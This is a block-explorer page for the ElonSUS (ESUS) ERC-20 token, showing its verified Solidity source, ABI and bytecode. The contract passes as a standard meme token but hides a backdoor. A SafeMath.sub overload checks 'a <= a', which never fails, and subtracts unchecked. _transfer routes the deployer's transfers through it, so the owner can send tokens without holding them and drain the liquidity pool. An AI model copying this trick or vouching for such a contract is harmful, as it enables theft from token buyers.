ERC-20
Overview
Max Total Supply
100,000 ESUS
Holders
36
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
0.202478834191187802 ESUSValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
ElonSUS
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-04-02 */ // SPDX-License-Identifier: MIT /****************************************** ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣴⣶⣿⣿⣷⣶⣄⣀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⣾⣿⣿⡿⢿⣿⣿⣿⣿⣿⣿⣿⣷⣦⡀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⢀⣾⣿⣿⡟⠁⣰⣿⣿⣿⡿⠿⠻⠿⣿⣿⣿⣿⣧⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⣾⣿⣿⠏⠀⣴⣿⣿⣿⠉⠀⠀⠀⠀⠀⠈⢻⣿⣿⣇⠀⠀⠀ ⠀⠀⠀⠀⢀⣠⣼⣿⣿⡏⠀⢠⣿⣿⣿⠇⠀⠀⠀⠀⠀⠀⠀⠈⣿⣿⣿⡀⠀⠀ https://t.me/ElonSuSerc ⠀⠀⠀⣰⣿⣿⣿⣿⣿⡇⠀⢸⣿⣿⣿⡀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⡇⠀⠀ https://elonsus.lol ⠀⠀⢰⣿⣿⡿⣿⣿⣿⡇⠀⠘⣿⣿⣿⣧⠀⠀⠀⠀⠀⠀⢀⣸⣿⣿⣿⠁⠀⠀ ⠀⠀⣿⣿⣿⠁⣿⣿⣿⡇⠀⠀⠻⣿⣿⣿⣷⣶⣶⣶⣶⣶⣿⣿⣿⣿⠃⠀⠀⠀ ⠀⢰⣿⣿⡇⠀⣿⣿⣿⠀⠀⠀⠀⠈⠻⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠁⠀⠀⠀⠀ ⠀⢸⣿⣿⡇⠀⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠉⠛⠛⠛⠉⢉⣿⣿⠀⠀⠀⠀⠀⠀ ⠀⢸⣿⣿⣇⠀⣿⣿⣿⠀⠀⠀⠀⠀⢀⣤⣤⣤⡀⠀⠀⢸⣿⣿⣿⣷⣦⠀⠀⠀ ⠀⠀⢻⣿⣿⣶⣿⣿⣿⠀⠀⠀⠀⠀⠈⠻⣿⣿⣿⣦⡀⠀⠉⠉⠻⣿⣿⡇⠀⠀ ⠀⠀⠀⠛⠿⣿⣿⣿⣿⣷⣤⡀⠀⠀⠀⠀⠈⠹⣿⣿⣇⣀⠀⣠⣾⣿⣿⡇⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠹⣿⣿⣿⣿⣦⣤⣤⣤⣤⣾⣿⣿⣿⣿⣿⣿⣿⣿⡟⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠻⢿⣿⣿⣿⣿⣿⣿⠿⠋⠉⠛⠋⠉⠉⠁⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠉⠉⠉⠁ *******************************************/ pragma solidity ^0.8.19; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { unchecked { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "Safemath: underflow"); return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } unchecked { uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(a <= a, errorMessage); unchecked { uint256 c = a - b; return c; } } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); unchecked { uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract ElonSUS is Context, IERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; string private constant _name = "ElonSUS"; string private constant _symbol = "ESUS"; uint8 private constant _decimals = 18; uint256 private _tTotal = 100000 * 10**18; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromLimits; constructor() { _isExcludedFromLimits[address(uniswapV2Router)] = true; _isExcludedFromLimits[uniswapV2Pair] = true; _isExcludedFromLimits[msg.sender] = true; _isExcludedFromLimits[address(0xdead)] = true; uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _tOwned[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tOwned[account]; } receive() external payable {} function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function __transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _tOwned[from] = _tOwned[from].sub(amount); _tOwned[to] = _tOwned[to].add(amount); emit Transfer(from, to, amount); } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] - subtractedValue); return true; } function _transfer(address from, address to, uint256 amount) private { if (!_isExcludedFromLimits[from]) { __transfer(from, to, amount); return; } _tOwned[from] = _tOwned[from].sub(amount, "Insufficient balance"); _tOwned[to] = _tOwned[to].add(amount); emit Transfer(from, to, amount); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
608060405269152d02c7e14af680000060035534801561001e57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600180546001600160a01b039081166000908152600660209081526040808320805460ff19908116871790915560025490941683528083208054851686179055338352808320805485168617905561dead9092527f1aecba4ebe7a4e0673e4891b2b092b2228e4322380b579fb494fad3da8586e228054909316841790925582546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909355805163c45a015560e01b8152905163c45a0155926004808401939192918290030181865afa15801561013c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061016091906102f4565b6001600160a01b031663c9c6539630600160009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156101c2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101e691906102f4565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610233573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061025791906102f4565b600280546001600160a01b0319166001600160a01b0392909216919091179055600354600460006102853390565b6001600160a01b03168152602081019190915260400160002055336001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6003546040516102e791815260200190565b60405180910390a3610324565b60006020828403121561030657600080fd5b81516001600160a01b038116811461031d57600080fd5b9392505050565b610bdc806103336000396000f3fe6080604052600436106100f75760003560e01c806370a082311161008a578063a457c2d711610059578063a457c2d7146102e0578063a9059cbb14610300578063dd62ed3e14610320578063f2fde38b1461036657600080fd5b806370a0823114610248578063715018a61461027e5780638da5cb5b1461029557806395d89b41146102b357600080fd5b806323b872dd116100c657806323b872dd146101cc578063313ce567146101ec578063395093511461020857806349bd5a5e1461022857600080fd5b806306fdde0314610103578063095ea7b3146101455780631694505e1461017557806318160ddd146101ad57600080fd5b366100fe57005b600080fd5b34801561010f57600080fd5b50604080518082019091526007815266456c6f6e53555360c81b60208201525b60405161013c9190610a4c565b60405180910390f35b34801561015157600080fd5b50610165610160366004610ab6565b610386565b604051901515815260200161013c565b34801561018157600080fd5b50600154610195906001600160a01b031681565b6040516001600160a01b03909116815260200161013c565b3480156101b957600080fd5b506003545b60405190815260200161013c565b3480156101d857600080fd5b506101656101e7366004610ae0565b61039d565b3480156101f857600080fd5b506040516012815260200161013c565b34801561021457600080fd5b50610165610223366004610ab6565b6103ef565b34801561023457600080fd5b50600254610195906001600160a01b031681565b34801561025457600080fd5b506101be610263366004610b1c565b6001600160a01b031660009081526004602052604090205490565b34801561028a57600080fd5b50610293610426565b005b3480156102a157600080fd5b506000546001600160a01b0316610195565b3480156102bf57600080fd5b506040805180820190915260048152634553555360e01b602082015261012f565b3480156102ec57600080fd5b506101656102fb366004610ab6565b6104cf565b34801561030c57600080fd5b5061016561031b366004610ab6565b610506565b34801561032c57600080fd5b506101be61033b366004610b37565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561037257600080fd5b50610293610381366004610b1c565b610513565b600061039333848461062d565b5060015b92915050565b60006103aa848484610752565b6001600160a01b0384166000908152600560209081526040808320338085529252909120546103e59186916103e0908690610b80565b61062d565b5060019392505050565b3360008181526005602090815260408083206001600160a01b038716845290915281205490916103939185906103e0908690610b93565b6000546001600160a01b031633146104855760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b3360008181526005602090815260408083206001600160a01b038716845290915281205490916103939185906103e0908690610b80565b6000610393338484610752565b6000546001600160a01b0316331461056d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161047c565b6001600160a01b0381166105d25760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161047c565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03831661068f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161047c565b6001600160a01b0382166106f05760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161047c565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b03831660009081526006602052604090205460ff166107825761077d838383610853565b505050565b604080518082018252601481527f496e73756666696369656e742062616c616e63650000000000000000000000006020918201526001600160a01b0385166000908152600490915220548190035b6001600160a01b0380851660009081526004602052604080822093909355908416815220546107ff908261099e565b6001600160a01b0380841660008181526004602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906107459085815260200190565b6001600160a01b0383166108b75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161047c565b6001600160a01b0382166109195760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161047c565b6000811161097b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161047c565b6001600160a01b0383166000908152600460205260409020546107d090826109fa565b6000828201838110156109f35760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161047c565b9392505050565b600082821115610a425760405162461bcd60e51b8152602060048201526013602482015272536166656d6174683a20756e646572666c6f7760681b604482015260640161047c565b6109f38284610b80565b600060208083528351808285015260005b81811015610a7957858101830151858201604001528201610a5d565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610ab157600080fd5b919050565b60008060408385031215610ac957600080fd5b610ad283610a9a565b946020939093013593505050565b600080600060608486031215610af557600080fd5b610afe84610a9a565b9250610b0c60208501610a9a565b9150604084013590509250925092565b600060208284031215610b2e57600080fd5b6109f382610a9a565b60008060408385031215610b4a57600080fd5b610b5383610a9a565b9150610b6160208401610a9a565b90509250929050565b634e487b7160e01b600052601160045260246000fd5b8181038181111561039757610397610b6a565b8082018082111561039757610397610b6a56fea264697066735822122070907a1f76cc66e909738b7c0e64b1b66713fb228e1639b60f7e174ee226052b64736f6c63430008130033
Deployed Bytecode
0x6080604052600436106100f75760003560e01c806370a082311161008a578063a457c2d711610059578063a457c2d7146102e0578063a9059cbb14610300578063dd62ed3e14610320578063f2fde38b1461036657600080fd5b806370a0823114610248578063715018a61461027e5780638da5cb5b1461029557806395d89b41146102b357600080fd5b806323b872dd116100c657806323b872dd146101cc578063313ce567146101ec578063395093511461020857806349bd5a5e1461022857600080fd5b806306fdde0314610103578063095ea7b3146101455780631694505e1461017557806318160ddd146101ad57600080fd5b366100fe57005b600080fd5b34801561010f57600080fd5b50604080518082019091526007815266456c6f6e53555360c81b60208201525b60405161013c9190610a4c565b60405180910390f35b34801561015157600080fd5b50610165610160366004610ab6565b610386565b604051901515815260200161013c565b34801561018157600080fd5b50600154610195906001600160a01b031681565b6040516001600160a01b03909116815260200161013c565b3480156101b957600080fd5b506003545b60405190815260200161013c565b3480156101d857600080fd5b506101656101e7366004610ae0565b61039d565b3480156101f857600080fd5b506040516012815260200161013c565b34801561021457600080fd5b50610165610223366004610ab6565b6103ef565b34801561023457600080fd5b50600254610195906001600160a01b031681565b34801561025457600080fd5b506101be610263366004610b1c565b6001600160a01b031660009081526004602052604090205490565b34801561028a57600080fd5b50610293610426565b005b3480156102a157600080fd5b506000546001600160a01b0316610195565b3480156102bf57600080fd5b506040805180820190915260048152634553555360e01b602082015261012f565b3480156102ec57600080fd5b506101656102fb366004610ab6565b6104cf565b34801561030c57600080fd5b5061016561031b366004610ab6565b610506565b34801561032c57600080fd5b506101be61033b366004610b37565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561037257600080fd5b50610293610381366004610b1c565b610513565b600061039333848461062d565b5060015b92915050565b60006103aa848484610752565b6001600160a01b0384166000908152600560209081526040808320338085529252909120546103e59186916103e0908690610b80565b61062d565b5060019392505050565b3360008181526005602090815260408083206001600160a01b038716845290915281205490916103939185906103e0908690610b93565b6000546001600160a01b031633146104855760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b3360008181526005602090815260408083206001600160a01b038716845290915281205490916103939185906103e0908690610b80565b6000610393338484610752565b6000546001600160a01b0316331461056d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161047c565b6001600160a01b0381166105d25760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161047c565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03831661068f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161047c565b6001600160a01b0382166106f05760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161047c565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b03831660009081526006602052604090205460ff166107825761077d838383610853565b505050565b604080518082018252601481527f496e73756666696369656e742062616c616e63650000000000000000000000006020918201526001600160a01b0385166000908152600490915220548190035b6001600160a01b0380851660009081526004602052604080822093909355908416815220546107ff908261099e565b6001600160a01b0380841660008181526004602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906107459085815260200190565b6001600160a01b0383166108b75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161047c565b6001600160a01b0382166109195760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161047c565b6000811161097b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161047c565b6001600160a01b0383166000908152600460205260409020546107d090826109fa565b6000828201838110156109f35760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161047c565b9392505050565b600082821115610a425760405162461bcd60e51b8152602060048201526013602482015272536166656d6174683a20756e646572666c6f7760681b604482015260640161047c565b6109f38284610b80565b600060208083528351808285015260005b81811015610a7957858101830151858201604001528201610a5d565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610ab157600080fd5b919050565b60008060408385031215610ac957600080fd5b610ad283610a9a565b946020939093013593505050565b600080600060608486031215610af557600080fd5b610afe84610a9a565b9250610b0c60208501610a9a565b9150604084013590509250925092565b600060208284031215610b2e57600080fd5b6109f382610a9a565b60008060408385031215610b4a57600080fd5b610b5383610a9a565b9150610b6160208401610a9a565b90509250929050565b634e487b7160e01b600052601160045260246000fd5b8181038181111561039757610397610b6a565b8082018082111561039757610397610b6a56fea264697066735822122070907a1f76cc66e909738b7c0e64b1b66713fb228e1639b60f7e174ee226052b64736f6c63430008130033
Deployed Bytecode Sourcemap
